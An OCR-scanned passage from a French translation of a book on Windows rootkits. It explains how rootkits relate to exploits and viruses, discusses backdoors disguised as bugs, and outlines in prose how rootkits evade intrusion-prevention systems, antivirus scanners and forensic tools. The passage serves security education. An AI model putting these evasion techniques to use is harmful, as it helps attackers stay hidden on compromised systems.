ne pas le faire tres correctement en ce qui conceme la recherche des failles de securite. 
Imaginez qu’un programme backdoor soit implements sous forme d’un bug dans un 
logiciel. Le developpeur malveillant pourrait a dessein exposer le logiciel a un 
debordement de tampon. Dissimulee sous forme de bug, cette vulnerabilite serait 
difficile a reperer et offrirait au programmeur une possibilite de nier son mefait de 
maniere plausible. 


1 . Voir www.eggheaven2000.com . une base de donnees des curiosites logicielles et des oeufs de Paques. 

2. De nombreux navigateurs sont la proie de spyware, et, bien sur, Microsoft Internet Explorer est l’une des 
cibles les plus visees. 
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Vous pourriez legitimement penser que vous pouvez faire confiance a toutes ces 
personnes qui developpent le logiciel que vous utilisez. Apres tout, leurs competences 
sont, a quelques degres pres, proches de celles de Linus Torvalds 1 2 , en qui vous avez 
entiere confiance. C’est legitime. Mais faites-vous aussi confiance aux administrateurs 
systeme qui gerent les serveurs de controle et de distribution du code source ? II existe 
des cas d’attaques ou les intrus ont pu acceder au code. Un cas important de 
compromission s’est produit lorsque les serveurs FTP racines du projet GNU (gnu.org) 
— code source du systeme d’exploitation GNU base sur Linux — ont ete compromis en 
2003 1 2 . Les alterations d’un code source peuvent echouer dans des centaines de 
distributions de logiciels et sont extremement difficiles a identifier. Meme le code 
source d’outils de professionnels en securite informatique a ete detoume de cette 
fa^on 3 . 


Illegality des modifications d'un logiciel 

Certaines formes de modifications enfreignent directement la loi. Par exemple, si vous 
utilisez un programme pour modifier un logiciel afin de passer outre les mecanismes 
de protection des droits d’auteur, vous serez certainement en violation avec la loi. Cela 
s’ applique done a n’importe quel programme de crack de logiciel, par exemple pour 
supprimer la limite de temps imposee par les versions d’essai de logiciels. 

Ce qu'un rootkit n'est pas 

Nous avons introduit les caracteristiques generates d’un rootkit ainsi que les 
techniques sous-jacentes a son fonctionnement. Vous avez une idee de la puissance 
qu’il offre en tant qu’ instrument d’une boite a outils de hacker. Nous allons maintenant 
voir ce qu’un rootkit n’est pas. 


1. Linus Torvalds est le createur de Linux. 

2. CERT Advisory CA-2003-21, disponible a www.cert.org/advisories/CA-2003-21.html . 

3. Par exemple, le site monkey.org de D. Song a ete compromis en mai 2002 et les outils heberges, tels que 
Dsniff, Fragroute et Fragrouter, ont ete contamines. Voir "Download Sites Hacked, Source code 
Backdoored", SecurityFocus, sur www.securityfocus.com/news/462 . 


22 Rootkits 


Infiltrations du noyau Windows 


Un rootkit n'est pas un exploit 

Un rootkit peut etre utilise conjointement a un exploit (rappel : vulnerability et code 
d’ exploitation de la vulnerability), mais le rootkit est en lui-meme un jeu de 
programmes simples. Ceux-ci font usage de fonctions et de methodes non 
documentees, mais ils ne dependent pas specifiquement de bugs logiciels, tel un 
debordement de tampon. 

Un rootkit est generalement deploye apres l’exploitation reussie d’une faille logicielle. 
Les hackers ont souvent une malle aux tresors pleine d’ exploits disponibles, mais ils 
n’ont souvent qu’un ou deux rootkits a portee de main. Independamment de 1’ exploit 
mis en oeuvre, une fois 1’ intrusion reussie, l’attaquant deploie sur le systeme le rootkit 
approprie. 

Bien qu’un rootkit ne soit pas un exploit, il peut toutefois integrer du code pour 
exploiter une faille specifique. Un rootkit requiert generalement l’acces au noyau et 
contient un ou plusieurs programmes qui sont lances lorsque le systeme demarre. II 
n’existe qu’un nombre limite de methodes permettant d’injecter du code dans le noyau, 
par exemple en tant que driver de peripherique. Nombre de ces methodes peuvent etre 
detectees par une analyse forensique. 

Une nouvelle facjon d’installer un rootkit est aussi de recourir a l’exploit logiciel. 
Beaucoup d’exploits autorisent l’installation d’un code ou d’un programme tiers. 
Imaginez un bug dans le noyau provoquant un debordement de tampon (des bugs de 
cette nature ont ete rapportes) permettant l’execution d’un code arbitraire. Un 
debordement de tampon peut se produire dans pratiquement n’importe quel driver, par 
exemple celui d’une imprimante. Au demarrage du systeme, un programme loader 
peut charger un driver/rootkit. II n’emploie pour cela pas de methodes documentees 
mais exploite a la place le debordement de tampon. II installe ainsi les parties du 
rootkit qui fonctionnent en mode noyau. 

Le debordement de tampon est considere par la plupart des gens comme etant un bug. 
Un developpeur de rootkit le traitera comme une fonctionnalite non repertoriee lui 
permettant de charger du code dans un noyau. N’ etant pas documentee, cette voie 
d’acces au noyau ne sera probablement pas incluse dans une investigation forensique. 
Plus important encore, elle ne sera pas interceptee par un programme pare -feu installe 
sur l’hote. Seule une personne competente en retro-ingenierie aura des chances de la 
decouvrir. 
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Un rootkit n'est pas un virus 

Un virus est un programme automate capable d’ autopropagation, ce qui lui confere une 
certaine independance. A l’inverse, un rootkit ne se reproduit pas et ne possede pas 
cette forme d’autonomie. II fonctionne sous le controle d’une personne. 

Dans la plupart des cas, il serait dangereux, et stupide, pour un attaquant d’utiliser un 
virus lorsqu’il souhaite proceder a une infiltration furtive. Au-dela du fait que la 
propagation de virus est une activite illicite, la plupart des virus ou des vers ont un 
fonctionnement qui echappe au controle et laisse des traces. En revanche, le rootkit 
permet a 1’ attaquant de garder la maitrise des operations. Dans le cas d’une penetration 
autorisee (par exemple sous le controle de certaines instances), 1’ attaquant doit 
s’ assurer que seules certaines cibles sont touchees, sous peine de violer la loi ou de 
sortir des limites de 1’ operation autorisee. Ce genre d’ actions necessite des controles 
stricts, et il est hors de question de recourir a un virus. 

II est possible de concevoir un virus ou un ver se propageant via des exploits logiciels 
et qui ne soit pas detecte par un systeme de detection d’intrusion, ou IDS (.Intrusion 
Detection System), par exemple avec un exploit zero-day 1 . Un tel ver pourrait se 
propager tres lentement et etre tres difficile a detecter. Il peut avoir ete teste dans un 
laboratoire bien equipe reproduisant 1’ environnement cible. Il peut inclure une 
restriction de portee (area ofeffect) pour l’empecher de gagner des territoires hors 
controle. Il peut aussi s’agir d’un programme dote d’un temporisateur (. land-mine 
timer ) qui provoque sa desactivation apres une certaine periode, prevenant ainsi tout 
probleme une fois la mission terminee. Nous aborderons les systemes de detection 
d’intrusion plus loin dans ce chapitre. 

Le probleme du virus 

Meme si un rootkit n’est pas un virus, les techniques qu’il emploie peuvent etre 
utilisees par ces demiers. Un rootkit combine a un code de virus produit une 
technologie tres dangereuse. 

Le monde a deja vu ce que les virus peuvent faire. Certains virus ont infecte des 
millions d’ordinateurs en quelques heures. 

L’un des systemes d’ exploitation les plus connus, Microsoft Windows, est connu pour 
comport er d’innombrables bugs qui permettent aux virus de contaminer les ordinateurs 
a travers Internet. La plupart des hackers malveillants ne reveleront pas 


1 . Un exploit zero-day est une faille qui vient d’etre decouverte et pour laquelle il n’existe pas encore de 
correctif. 
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au fabricant les bugs decouverts. Un bug exploitable qui touche la structure 
d’ installation par defaut de la plupart des ordinateurs Windows est pour le hacker "la 
cle du royaume". Aviser le fabricant serait lui remettre cette cle. 

Comprendre la technologie du rootkit est egalement decisif pour bien se defendre 
contre les virus. De nombreux programmeurs de virus Tempi oient deja depuis 
plusieurs annees. C’est une tendance dangereuse. Des algorithmes ont ete publies pour 
permettre une propagation virale 1 2 sur des centaines ou des milliers de machines en 
Tespace d’une heure. Les vulnerabilites exploitables a distance dans Windows sont 
loin d’etre epuisees. Les virus qui emploient la technologie du rootkit seront plus 
difficiles a detecter et a contrer. 

Rootkits et exploits logiciels 

L’ exploitation des vulnerabilites logicielles est un sujet important dans le cadre d’une 
etude des rootkits. Ce livre ne vous aidera pas a comprendre comment la protection des 
logiciels est contoumee. Si ce sujet vous interesse, nous vous recommandons le livre 
Exploiting Software 1 2 . 

Comme evoque plus haut, un rootkit peut etre employe dans le cadre d’un outil 
d’ exploit (par exemple dans un virus ou un spyware). 

La menace que constituent les rootkits est renforcee par le fait que les exploits logiciels 
existent en grand nombre. Par exemple, nous pouvons raisonnablement estimer a plus 
d’une centaine le nombre de failles exploitables dans la demiere version de Windows 3 . 
Pour la plus grande part, elles sont connues de Microsoft et sont lentement etudiees par 
un systeme d’ assurance qualite et de recherche de bugs 4 . Lorsqu’ elles sont identifies, 
elles sont corrigees et silencieusement patchees 5 . 


1. N. Weaver, "Wharhol Worms: The Potential for Very Fast Internet Plagues", disponible sur 

www.cs.berkelev.edu/~nweaver/warhoI.html . 

2. G. Hoglund et G. McGraw, Exploiting Software. 

3. Nous ne pouvons prouver cette estimation mais c’est une supposition raisonnable derivee de notre 

connaissance du probleme. 

4. La plupart des editeurs de logiciels emploient des methodes similaires pour rechercher et corriger les bugs 
dans leurs produits. 

5. "Une faille "silencieusement patchee" est un bug corrige par l’intermediaire d’une mise a jour logicielle, 
mais le fabricant n’informe jamais le public ou les clients de son existence. II est pour ainsi dire traite 
comme un secret et personne n’en parle. C’est en fait une pratique courante de la part de nombreux grands 
fabricants. 
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Certains bugs exploitables sont identifies par des chercheurs independants et ne 
sont jamais communiques au fabricant du logiciel en question. As sont destructeurs 
car personne n’est au courant excepte l’attaquant qui l’exploite. Dans ce cas, il y a 
peu de mesures de protection possible, ou aucune ; aucun patch, ou correctif, n’est 
disponible. 

De nombreuses failles publiquement revelees depuis plus d’un an sont toujours 
largement exploitees. Meme si les correctifs sont disponibles, la plupart des admi- 
nistrateurs ne les appliquent pas en temps voulu. C’est une attitude particulierement 
dangereuse. Meme si une vulnerabilite rapportee ne fait pas encore l’objet d’atta- 
ques, car, par exemple, le code d’ exploitation n’est pas encore disponible, ce n’est 
qu’une question de temps. Quelques jours suffisent pour qu’un exploit soit publie 
apres un rapport de faille ou l’annonce de la disponibilite d’un correctif. 

Bien que Microsoft prenne le probleme tres au serieux, 1’ integration des changements 
necessaires dans le cas d’un gros systeme d’ exploitation necessite des moyens et un 
temps considerables. 

Lorsqu’un chercheur rapporte un nouveau bug a Microsoft, il lui est generalement 
demande de ne pas diffuser publiquement des informations a son sujet. Certains 
bugs ne sont pas corriges avant plusieurs mois apres leur date de notification. 

D’aucuns avancent que le maintien au secret des bugs encourage Microsoft a pren- 
dre son temps pour publier les patchs de securite. Tant que le public n’est pas au 
fait, la societe n’est pas incitee a se presser. Pour pallier cette tendance, le specia- 
liste en securite eEye a elabore une methode intelligente pour rendre publiques les 
informations de vulnerabilities critiques tout en ne divulguant pas les details. 

La Figure 1 . 2 , provenant du site de la societe eEye (www.eEye.com) , illustre un 
rapport de bug typique. Il indique la date de notification au fabricant et le nombre de 
jours de depassement du correctif attendu sur la base d’un delai de livraison oppor- 
tun estime a 60 jours. Comme nous l’avons vu dans la pratique, les plus grands 
fabricants prennent plus de temps que cela. Traditionnellement, il semble que les 
seules fois oil un correctif a ete publie sous quelques jours pour une faille sont 
lorsqu’un ver Internet est introduit pour en tirer parti. 


Figure 1.2 

Rapport de securite 
prealable diffuse 
par eEye. 


E EYE B- 20040802 -C 

60 

Days Overdue 

Vendor: Microsoft 

Severity: High (Remote Code Execution) Date Reported: August 02, 2004 Days 
Since Initial Report: 

Day 30 60 120 
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Pourquoi les exploits posent-ils toujours probleme 

Le besoin de securiser les logiciels est reconnu depuis longtemps. Malgre tout, les 
exploits continuent de poser probleme. La racine du probleme reside dans les logiciels 
eux-memes, qui, pour la plupart, ne sont pas securises. Des societes comme Microsoft 
ont fait de grands progres dans 1’ amelioration de la securite, mais le code du systeme 
d’ exploitation est ecrit en C ou C++, des langages qui, de par leur nature, peuvent 
introduire des failles critiques, dont le fameux debordement de tampon. Ce bug 
constitue la vulnerability la plus repandue dans les logiciels actuels. II a ete a l’origine 
de milliers d’exploits. Et il s’agit bien d’un bug, d’un accident qui peut etre corrige 1 2 . 

Les exploits par debordement de tampon finiront par disparaitre, mais pas dans un 
futur proche. Bien qu’un programmeur rigoureux puisse ecrire du code ne presentant 
pas de bug de debordement de tampon (ceci independamment du langage car meme un 
programme en langage assembleur peut etre securise), la plupart des programmeurs ne 
sont pas aussi appliques. La tendance actuelle est a l’application de pratiques de 
codage sures et a verifier cela au moyen d’outils d’analyse de code automatisee pour 
detecter les erreurs. Microsoft emploie un jeu d’outils internes a cet effet 1 2 . 

Ces outils peuvent identifier certains bugs, mais pas tous. La plupart des logiciels sont 
tres complexes et il peut etre difficile de les tester en profondeur d’une maniere 
automatisee. Certains peuvent presenter trop d’etats differents pour pouvoir les evaluer 
tous 3 . En fait, un programme informatique peut meme avoir un potentiel d’etats 
differents superieur au nombre de particules dans l’univers 4 . Etant donne cette 
complexity, il est tres difficile d’en evaluer le niveau de securisation. 


1 . Les bugs de debordement de tampon ne sont pas un defaut exclusif du C et du C++, mais ces deux langages 

ne facilitent pas certaines pratiques de codage sures. Its n’offrent pas un typage sur (un sujet traite plus loin 
dans ce chapitre), ils emploient des fonctions integrees qui peuvent faire deborder les tampons, et ils sont 
aussi difficiles a debugger. 

2. Par exemple, PREfix et PREfast ont ete developpes et deployes par Jon Pincus, Microsoft Research (voir 
http://research.microsoft.com/users/ipincus/ ). 

3. Un "etat" est comme une configuration interne dans un logiciel. A chaque fois qu’il realise une action, son 
etat change. La plupart des logiciels ont ainsi un nombre considerable d’etats potentiels. 

4. Pour comprendre cela, considerez les limites theoriques du nombre de permutations possibles d’une chaine 
de bits. Par exemple. imaginez une application de 160 Mo employant 16 Mo (10 % de sa taille totale) de 
memoire pour Stocker ses etats. Ce programme pourrait, theoriquement, avoir un potentiel de 2 A 16 277 216 
etats differents qui, en fait, excede de loin le nombre de particules dans l’univers (estime diversement a 
environ 10 A 80). Merci a Aaaron Bornstein pour cet exemple explicatif. 
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L’ adoption de langages a typage sur, ou fort, tels que Java et C# peut contribuer a 
ameliorer la situation. Ces langages ne garantissent pas une securite a toute epreuve, 
mais ils reduisent de facon significative les risques de debordements de tampons, de 
bugs de conversion de signe et de debordement d’entiers (voir l’encadre "Langages a 
typage sur"). Malheureusement, ces langages n’equivalent pas en performances du C 
ou du C++, et la plupart des systemes Windows, meme la demiere version la plus 
performante, executent du vieux code C et C++. Les developpeurs de systemes 
embarques ont change de cap en adoptant des langages a typage sur, mais le decollage 
est lent, et les millions de systemes anciens en usage ne seront pas remplaces de sitot. 
Ceci signifie que les exploits logiciels continueront encore de sevir pendant longtemps. 


Langages a typage sur 

Les langages de programmation a typage sur, ou fort, sont plus securises en ce qui concerne 
certains exploits, tels que le debordement de tampon. 

Sans typage fort, les donnees composant un programme ne seraient qu'un vaste ocean de 
bits. Le programme pourrait alors prendre n'importe quel groupe de bits et interpreter de 
multiples fagons. Ainsi, si la chaine "GARY" etait placee en memoire, el le pourrait ensuite etre 
utilisee non pas en tant que chaine de caracteres mais comme un entier de 32 bits, par 
exemple 0x47415259 (en hexadecimal) ou 1 195 463 257 (en decimal), un nombre 
relativement grand en fait. Lorsque des donnees fournies par un utilisateur tiers peuvent etre 
mal interpretees, un exploit peut etre utilise. 

En revanche, des programmes ecrits dans un langage a typage fort, comme Java ou C# 1 , ne 
convertiraient jamais "GARY" en nombre ; la chaine serait toujours traitee en tant que texte et 
rien d'autre. 


Techniques offensives de rootkit 

Un rootkit bien con^u devrait etre capable de contoumer n’importe quelle mesure de 
securite, telle qu’un systeme pare -feu (firewall) ou de detection d’intrusion (IDS, 
Intrusion Detection System). Les systemes de detection d’intrusion sont de deux types : 
reseau, appeles NIDS (Network IDS), ou hote, appeles HIDS (Host IDS). Certains 
HIDS sont contjus pour stopper les attaques avant qu’elles ne reussissent. Ils offrent 
une "defense active" et preventive, c’est pourquoi ils sont aussi qualifies de systemes 
de prevention d’intrusion, ou HIPS (Host Intrusion Prevention System). 


1. C# (pronone "see sharp" ou "C sharp") est un langage different du C ou du C++. 
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Pour simplifier, nous utiliserons ce sigle de fa^on generique pour nous referer a ces 
solutions d’hote. 

Systemes d'hote 

La technologie HIPS peut etre con^uc en interne ou acquise. Voici quelques exemples 
de logiciels HIPS : 

H Blink (eEye Digital Security, www.eEye.com) ; 

■ IPD (Integrity Protection Driver), Pedestal Software, www.pedestal.com ; 

B Entercept (www.networkassociates.com) ; 

B Okena StormWatch (maintenant appele Cisco Security Agent, www.cisco.com) ; 
a LIDS (Linux Intrusion Detection System, www.lids.org) ; 

H WatchGuard ServerLock (www.watchguard.com) . 

Pour un rootkit, c’est la technologie HIPS qui offre la meilleure contre-attaque. Un 
HIPS peut parfois le detecter pendant qu’il s’installe et egalement l’intercepter 
lorsqu’il communique sur le reseau. Beaucoup de HIPS se fondent sur une technologie 
de niveau noyau et peuvent surveiller le systeme d’ exploitation. En bref, un HIPS est 
un outil antirootkit. Ceci signifie que tout ce qu’un rootkit fait sur un systeme sera tres 
vraisemblablement detecte et stoppe. Lorsqu’un rootkit est utilise contre un systeme 
protege par un HIPS, l’attaquant doit soit contoumer le HIPS, soit chercher une cible 
plus facile. 

Le Chapitre 10 couvre le developpement de la technologie HIPS. II inclut aussi des 
exemples de code antirootkit. Le code peut aider a comprendre comment un HIPS peut 
etre contoume et comment construire son propre systeme de protection. 

Systemes de reseau 

Les NIDS offrent egalement une bonne resistance aux rootkits, mais un rootkit bien 
con$u peut leur echapper. Bien qu’en theorie une analyse statistique puisse detecter les 
canaux de communication masques, c’est rarement fait dans la pratique. Les 
connexions reseau vers un rootkit emploient vraisemblablement un canal de 
communication dissimule dans des paquets a l’apparence anodine. Tout transfert de 
donnees important est chiffre. La plupart des deployments de NIDS traitent de 
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grands flux de donnees, jusqu’a 300 Mo/s, et le petit filet de donnees en direction d’un 
rootkit passe inaperfu. En revanche, un rootkit utilise conjointement a un exploit 
connu du public aura plus de chances d’etre detecte par un NIDS *. 

Contournement d'un IDS/IPS 

Pour contoumer un systeme pare-feu et un systeme IDS/IPS, il existe deux methodes : 
l’approche active et l’approche passive. Elies peuvent etre combinees pour creer un 
rootkit plus robuste. Les ingredients de l’approche active agissent lors de P execution 
de l’operation et visent la prevention de la detection. En cas de suspicion, l’approche 
passive est appliquee "en coulisse" pour eviter un reperage par analyse forensique. 

Les attaques actives sont des modifications apportees au materiel et au noyau et visent 
a infiltrer le systeme et a tromper le logiciel de detection d’ intrusion. Elies prevoient 
generalement certaines mesures pour desactiver le logiciel HIPS (comme Okena ou 
Entercept). Elies sont souvent appliquees dans les situations ou un logiciel actif en 
memoire cherche a detecter les rootkits. Elies peuvent aussi etre utilisees pour rendre 
les outils de 1’ administrateur inaptes a la detection. Une attaque complexe pourrait 
rendre inefficace n’importe quel outil de securite. Par exemple, une attaque active 
pourrait detecter un analyseur de virus et le desactiver. 

Les attaques passives concement la dissimulation des donnees stockees et transferees. 
Par exemple, le chiffrement des donnees avant leur stockage sur le systeme de fichiers 
en fait partie. Une attaque plus avancee consisterait a Stocker la cle de dechiffrement 
dans une memoire non volatile, telle qu’une memoire flash RAM ou EPROM, et non 
sur le systeme de fichiers. Une autre attaque de ce type serait l’emploi d’un canal 
masque pour exfiltrer des donnees hors du reseau. 

Finalement, un rootkit ne devrait pas etre detecte par un scanner de virus. Un scanner 
de vims non seulement opere en temps reel mais peut aussi etre utilise pour scanner un 
systeme de fichiers "hors ligne". Par exemple, un disque dur peut etre examine sur un 
banc d’ analyse en laboratoire pour y rechercher la presence de virus. Dans une telle 
situation, un rootkit doit etre dissimule au sein du systeme de fichiers de maniere a ne 
pas etre repere par le scanner. 1 


1 . Lors de l’emploi d’un exploit repertorie, un attaquant peut creer le code de 1’exploit de maniere a imiter le 
comportement d’un ver deja connu, par exemple celui du ver Blaster. L’attaque sera alors interpreted par la 
plupart des administrateurs de securite comme etant de simples actions du ver connu. et ils manqueront de 
reperer l’attaque particuliere. 
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Contournement des outils d'analyse forensique 

Idealement, un rootkit ne devrait jamais etre detecte par une analyse forensique. Le 
probleme est difficile a resoudre pour l’attaquant. II existe des outils d’analyse de 
disques durs puissants. Certaines solutions, telles que celles d’Encase 
(www.encase.com) , sont rnises en oeuvre lorsqu’une contamination est suspectee, alors 
que d’autres outils, tels que Tripwire, sont utilises pour s’ assurer qu’un systeme 
demeure libre de toute infection. Dans le premier cas, on recherche le mal, dans le 
second, on s’ assure que tout va bien. 

Encase analyse les octets du disque pour rechercher certaines signatures. Cet outil peut 
examiner le disque entier et non seulement des fichiers. L’espace non utilise (slack 
space) dans les clusters du disque ainsi que les fichiers supprimes sont aussi pris en 
compte. Pour eviter d’etre repere, le rootkit doit ne pas comporter de chaines d’octets 
reconnaissables. Pour cela, l’emploi de la stega- nographie peut se reveler une 
technique puissante. Le chiffrement peut aussi etre efficace, mais les outils capables de 
mesurer le cote aleatoire des donnees peuvent identifier les blocs chiffres. Si le 
chiffrement est utilise, la portion du rootkit responsable du dechiffrement doit de toute 
fa£on rester non cryptee. Le programmeur du rootkit peut utiliser des techniques de 
mutation polymorphique pour camoufler davantage cette portion. La qualite de la 
detection depend aussi de celui qui pilote 1’ outil. Done, si un attaquant pense a une 
methode de dissimulation qui echappe au technicien effectuant 1’ analyse, son rootkit 
pourrait y echapper. 

Les outils qui effectuent un hachage cryptographique sur un systeme de fichiers, tels 
que Tripwire, recourent a une base de donnees de hachage qui doit etre construite a 
partir d’un systeme propre. Theoriquement, si une copie d’un systeme intact (e’est-a- 
dire une copie du disque dur) a ete realisee avant une contamination, une analyse hors 
ligne pourra etre effectuee pour comparer la nouvelle image du disque a l’ancienne. 
Toute difference est notee. Un rootkit peut constituer l’une des differences, mais il y 
en aura d’autres aussi. Un systeme en production change avec le temps. Pour eviter 
d’etre decouvert, un rootkit peut se cacher dans le "bruit" ordinaire du systeme de 
fichiers. De plus, les outils de ce type n’examinent que les fichiers, et probablement 
certains fichiers seulement, par exemple ceux qui sont estimes importants. Ils ne 
traitent pas les methodes de stockage non conventionnelles comme les mauvais 
secteurs d’un disque. De plus, les fichiers de donnees temporaires sont 
vraisemblablement ignores. Ceci laisse des emplacements de dissimulation possibles 
pour l’attaquant. 
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Si un attaquant s’inquiete du risque de voir son rootkit detecte car l’administrateur 
precede a un hachage de toutes les zones, il peut eviter totalement le systeme de 
fichiers, par exemple en installant le rootkit en memoire et en n’utilisant jamais le 
disque. Le desavantage pour lui est qu’un rootkit en memoire volatile disparaitra avec 
le redemarrage du systeme. 

Dans un cas extreme, un rootkit peut aussi s’installer dans un microcode {firmware ) 
sur une memoire BIOS ou une memoire flash RAM. 

Conclusion 

Les rootkits de premiere generation n’etaient que des programmes ordinaires. 
Aujourd’hui, ils se presentent sous forme de drivers de peripheriques. Au cours des 
prochaines annees, des rootkits avances pourront modifier ou s’installer dans le 
microcode d’un processeur ou resider principalement dans les puces d’un ordinateur. 
Par exemple, il n’est pas inconcevable que le bitmap d’un circuit FPGA (Field 
Programmable Gate Array) soit modifie pour inclure un programme backdoor 1 . Bien 
sur, ce type de rootkit devra etre cree pour une cible specifique. Les rootkits qui 
emploient des services de systeme d’ exploitation generiques seront certainement les 
plus nombreux. 

Le type de technologie de rootkit permettant une dissimulation dans un FPGA, done 
pour des attaques materielles, ne convient pas pour les vers de reseau. La technique 
employee pour ces demiers est facilitee par l’homogeneite de l’informatique a grande 
echelle. En d’autres termes, les vers de reseau fonctionnent le mieux lorsque les 
systemes ou logiciels cibles sont les memes. Dans le domaine des rootkits specifiques 
au materiel, il y a de nombreuses petites differences qui rendent difficiles les attaques 
multicibles. Ces attaques seront plus probablement utilisees lorsque la cible peut etre 
analysee par 1’ attaquant pour creer un rootkit specifique. 

Tant que les logiciels comprendront des vulnerabilites exploi tables, les rootkits en 
tireront parti. Le rootkit et 1’ exploit logiciel forment un couple naturel. Toutefois, 
meme si de tels exploits n’etaient pas possibles, les rootkits existeraient quand meme. 


1. Ceci suppose un espace suffisant (en matiere de portes) pour ajouter des fonctionnalites au FPGA. Les 
fabricants d’equipement tentent de baisser leur cout pour le moindre composant. Aussi, il est probable qu’un 
FPGA soit aussi petit que possible pour l’application recherchee et ne laisse pas de place pour l’ajout 
d’autres fonctions. Pour inserer un rootkit dans un tel emplacement reduit, d’autres fonctionnalites doivent 
alors etre supprimees. 
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Au cours des prochaines decennies, le debordement de tampon, actuellement le "roi de 
tous les exploits logiciels", sera mort et enterre. Les progres au niveau des langages a 
typage sur, les compilateurs et les technologies de machine virtuelle ne permettront 
plus son exploitation, ce qui frappera un grand coup au sein de ceux qui comptent sur 
l’exploitation a distance. Ceci ne signifie pas pour autant que 1’ exploitation des bugs 
logiciels s’arretera. Le nouveau domaine d’ exploitation seront les erreurs de logique 
dans les programmes et non plus le defaut d’ architecture du debordement de tampon. 
Avec ou sans L exploitation a distance, les rootkits perdureront neanmoins. Ils peuvent 
etre places dans les systemes a differents stades du developpement a la distribution. H 
y aura toujours des personnes pour vouloir en espionner d’autres. Ceci signifie que les 
rootkits auront toujours une place. Les programmes de backdoor et les infiltrations 
technologiques sont intemporelles ! 
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Sur son visage, je ne lus rien de l ’horreur qui me secouait : j y 
decouvris plutot V expression calme et interessee du chimiste qui voit, 
d ’une solution saturee a I’exces, les cristaux tomber en place. 

- La Vallee de la peur, sir Arthur Conan Doyle 


Independamment de leur forme et de leur taille, les ordinateurs comprennent tous des 
logiciels et possedent pour la plupart un systeme d’ exploitation. Le systeme 
d’ exploitation est l’ensemble fundamental de programmes qui foumit des services a 
d’autres programmes sur une machine. Nombre de systemes d’ exploitation sont 
multitaches, permettant a plusieurs programmes de s’executer simultanement. 

A differents types d’equipements informatiques peuvent correspondre differents 
systemes d’ exploitation. Par exemple, le systeme d’ exploitation le plus largement 
repandu sur les PC est Microsoft Windows. Un grand nombre de serveurs sur Internet 
emploient Linux ou Sun Solaris, tandis que d’autres utilisent Windows. Les systemes 
embarques executent VXWorks et beaucoup de telephones cellulaires emploient 
Symbian. 

Quels que soient les equipements sur lesquels ils sont installes, tous les systemes 
d’ exploitation ont un objectif commun : offrir aux applications une interface unique et 
coherente pour acceder a l’equipement. Ces services centraux controlent l’acces au 
systeme de fichiers, a la carte reseau, au clavier, a la souris et a P ecran. 
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Une autre fonction du systeme d’ exploitation est de foumir des informations de 
debugging et de diagnostic a propos de l’equipement. Par exemple, la plupart des 
systemes d’ exploitation peuvent lister les logiciels installes ou en cours d’ execution et 
disposent egalement de mecanismes de journalisation pour que les applications 
puissent signaler lorsqu’elles plantent, lorsqu’un utilisateur n’est pas parvenu a se 
connecter correctement, etc. 

Bien qu’il soit possible d’ecrire des applications qui contournent le systeme 
d’ exploitation (methodes d’acces direct non documentees), la majorite des 
developpeurs ne le fait pas. Le systeme d’ exploitation est le moyen d’acces "officiel" 
et il est nettement plus simple de l’utiliser. C’est pourquoi pratiquement toutes les 
applications passent par lui pour ces services. C’est aussi pourquoi un rootkit qui 
modifie le systeme d’ exploitation peut affecter quasiment tous les programmes qui 
s’executent dessus. 

Ce chapitre entre dans le vif du sujet en abordant l’ecriture d’un premier rootkit pour 
Windows. Nous introduirons le code source et expliquerons comment configurer 
l’environnement de developpement. Nous couvrirons aussi certains concepts 
fondamentaux relatifs au noyau ainsi que le fonctionnement des drivers. 

Les composants importants du noyau 

Afin de comprendre comment les rootkits peuvent etre employes pour infiltrer le 
noyau d’un systeme d’ exploitation, il peut etre utile de savoir quelles fonctions sont 
gerees par le noyau. Le Tableau 2.1 decrit les principaux composants fonctionnels du 
noyau. 

Tableau 2.1 : Composants fonctionnels du noyau 

Gestion des processus Les processus ont besoin de temps processeur. Le code qui 

permet d’assigner du temps processeur est contenu dans le noyau. Si 
le systeme d’ exploitation supporte les threads, le noyau allouera du 
temps a chacun d’eux. Des structures de donnees en memoire gardent 
trace de tous les threads et processus. 

En modifiant ces structures, un attaquant peut dissimuler un 
processus. 
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Tableau 2.1 : Composants fonctionnels du noyau (suite) 


Acces aux fichiers 


Le systeme de fichiers est l’un des composants les plus importants 
d’un systeme d’ exploitation. Des drivers peuvent etre charges pour 
gerer differents systemes de fichiers sous-jacents (tels que NTFS). Le 
noyau offre une interface coherente avec ces systemes de fichiers. En 
modifiant le code dans cette partie du noyau, un attaquant peut 
dissimuler des fichiers et des repertoires. 


Securite 

Le noyau est Tultime responsable charge d’imposer des restrictions 
entre les processus. Certains systemes simples n’appliquent aucune 
securite. Par exemple, nombre de systemes embarques autorisent 
n'importe quel processus a acceder a la totalite de l’espace memoire. 
Sur les systemes Unix et Windows, le noyau applique des permissions 
et isole les plages memoire des differents processus. En apportant 
seulement quelques changements au code dans cette partie du noyau, 
un attaquant peut eliminer tous les mecanismes de securite. 

Gestion de la memoire 


Certaines plates-formes materielles, comme celles de la famille Intel 
Pentium, utilisent des modeles de gestion de la memoire complexes. 
Une meme adresse memoire peut etre mise en correspondance avec 
plusieurs emplacements physiques. Par exemple, deux processus 
peuvent tous deux effectuer une lecture en memoire en utilisant 
l’adresse 0x00401 1 1 1 et recuperer pourtant des valeurs differentes. 
L’adresse utilisee par chaque processus est appelee une adresse 
virtuelle et pointe vers un emplacement complete ment different de la 
memoire physique, contenant des donnees distinctes. Vous en 
apprendrez davantage sur le mapping memoire virtue lle/memoire 
physique au Chapitre 3. Ceci est possible car le mapping de l’espace 
memoire prive de chaque processus est different. Exploiter cet aspect 
dans le noyau peut etre tres commode pour eviter que des donnees ne 
soient detectees par des debuggeurs ou des logiciels d’analyse 
forensique actifs. 


Maintenant que vous avez une idee des principals fonctions accomplies par le noyau, 
nous allons voir comment un rootkit doit etre congu pour pouvoir le modifier. 
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Conception d'un rootkit 

Un attaquant congoit generalement un rootkit pour s’en prendre a un systeme 
d’ exploitation et a un ensemble de programmes specifiques. Si le rootkit a ete congu 
pour acceder directement au materiel, il sera limite a ce materiel specifique. Un rootkit 
peut s’appliquer a plusieurs versions d’un systeme d’exploitation mais sera neanmoins 
limite a cette famille de systemes. Par exemple, certains rootkits du domaine public 
affectent toutes les versions de Windows NT, 2000 et XP. Ceci est possible 
uniquement lorsque toutes les versions ont des structures de donnees et des 
comportements similaires. II serait beaucoup moins envisageable de creer un rootkit 
generique pouvant infecter a la fois Windows et Solaris, par exemple. 

Un rootkit peut utiliser plusieurs modules de noyau ou drivers. Par exemple, un 
attaquant pourrait utiliser un driver pour gerer toutes les operations de dissimulation 
de fichiers et un autre pour dissimuler des cles de registre. Repartir le code entre de 
nombreux drivers est parfois preferable car cela en facilite la gestion, a condition que 
